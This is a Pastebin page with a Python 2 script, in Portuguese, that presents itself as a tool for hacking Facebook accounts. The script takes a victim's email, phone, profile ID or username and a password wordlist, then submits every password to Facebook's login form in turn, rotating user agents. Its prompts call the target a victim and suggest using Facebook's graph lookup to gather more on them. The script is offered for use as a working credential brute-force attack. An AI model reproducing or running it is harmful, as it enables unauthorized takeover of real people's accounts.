Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!usr/bin/python
- # -*- coding: UTF-8 -*-
- import sys
- import random
- import mechanize
- import cookielib
- facebook = '''
- __ _ _
- / _| | | | |
- | |_ __ _ ___ ___| |__ ___ ___ | | __
- | _/ _` |/ __/ _ \ '_ \ / _ \ / _ \| |/ /
- | || (_| | (_| __/ |_) | (_) | (_) | <
- |_| \__,_|\___\___|_.__/ \___/ \___/|_|\_\
- By Anarchy Ghost
- '''
- print facebook
- print "Lembrete: - Esta ferramenta pode hackear contas de facebook, mesmo se você não tem o e-mail de sua vítima."
- print "Utilize CTRL+C para sair"
- print "Utilize a função graph.facebook.com/{Username} para mais informação sobre a sua vítima ^_^"
- email = str(raw_input("Digite: |E-mail| |Telefone| |ID do Perfil| |Username| : "))
- wordlist = str(raw_input("Digite o nome da wordlist e sua extensão: "))
- useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
- login = 'https://www.facebook.com/login.php?login_attempt=1'
- def attack(senhas):
- try:
- sys.stdout.write("\r# Tentando à senha: %s " % senhas)
- sys.stdout.flush()
- br.addheaders = [('User-agent', random.choice(useragents))]
- site = br.open(login)
- br.select_form(nr=0)
- ##Facebook
- br.form['email'] =email
- br.form['pass'] = senhas
- br.submit()
- log = br.geturl()
- if log != login:
- print "\n\n\n# Senha encontrada !!"
- print "\n# Senha: %s\n" % (senhas)
- sys.exit(1)
- except KeyboardInterrupt:
- print "\n# Você fechou o programa..."
- sys.exit(1)
- def search():
- global senhas
- for senhas in senhas:
- attack(senhas.replace("\n",""))
- def check():
- global br
- global senhas
- try:
- br = mechanize.Browser()
- cj = cookielib.LWPCookieJar()
- br.set_handle_robots(False)
- br.set_handle_equiv(True)
- br.set_handle_referer(True)
- br.set_handle_redirect(True)
- br.set_cookiejar(cj)
- br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
- except KeyboardInterrupt:
- print "\n# Você fechou o programa...\n"
- sys.exit(1)
- try:
- list = open(wordlist, "r")
- senhas = list.readlines()
- k = 0
- while k < len(senhas):
- senhas[k] = senhas[k].strip()
- k += 1
- except IOError:
- print "\n# Erro: verificar sua wordlist! \n"
- sys.exit(1)
- except KeyboardInterrupt:
- print "\n# Você fechou o programa...\n"
- sys.exit(1)
- try:
- print "\n# Conta da vítima: %s" % (email)
- print "# Carregado:" , len(senhas), "senhas"
- print "# Por favor aguarde..."
- except KeyboardInterrupt:
- print "\n# Você fechou o programa...\n"
- sys.exit(1)
- try:
- search()
- attack(senhas)
- except KeyboardInterrupt:
- print "\n# Você fechou o programa...\n"
- sys.exit(1)
- if __name__ == '__main__':
- check()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement